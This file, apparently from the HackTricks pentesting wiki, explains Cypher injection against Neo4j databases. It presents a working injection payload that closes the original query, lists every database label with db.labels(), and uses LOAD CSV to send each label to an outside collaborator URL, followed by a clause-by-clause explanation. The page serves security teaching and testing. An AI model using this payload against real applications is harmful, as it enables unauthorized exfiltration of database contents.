hacktricks/pentesting-web/sql-injection/cypher-injection-neo4j.md
carlospolop bee65ef8c6 twit
2023-03-05 20:58:55 +01:00

4.5 KiB
Raw Blame History

Cypher Injection (neo4j)

🐦 Twitter 🐦 🎙️ Twitch Wed - 18.30(UTC) 🎙️ 🎥 Youtube 🎥

Example

.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //

Explanation of the payload

.*' | o ] AS filteredOrganisations

This whole part was to close the current query partially. The above part partially closed the current query and helped adding new clauses to the original query.

CALL db.labels() YIELD label

The CALL clause is used to evaluate a subquery, here the subquery is calling db.labels(), a built-in procedure which returns a list of all labels used in the database. YIELD clause stores the returned list in the variable “label”.

LOAD CSV FROM 'http://<collaborator-url-here>/' + label AS r //

LOAD CSV is a clause used to load a csv file from a user defined location via the FROM keyword. Here the LOAD CSV makes a request to our burp collaborator client appending one element of the list “label” at a time. As a result multiple requests were sent to my burp collaborator client and all requests had different label names appended to the requested endpoint. The end part AS r was only used because the query was breaking constantly without it, all it does is loads the csv file as “r” and the final two forward slashes // were used to comment out the rest of the query in the same line.

References

🐦 Twitter 🐦 🎙️ Twitch Wed - 18.30(UTC) 🎙️ 🎥 Youtube 🎥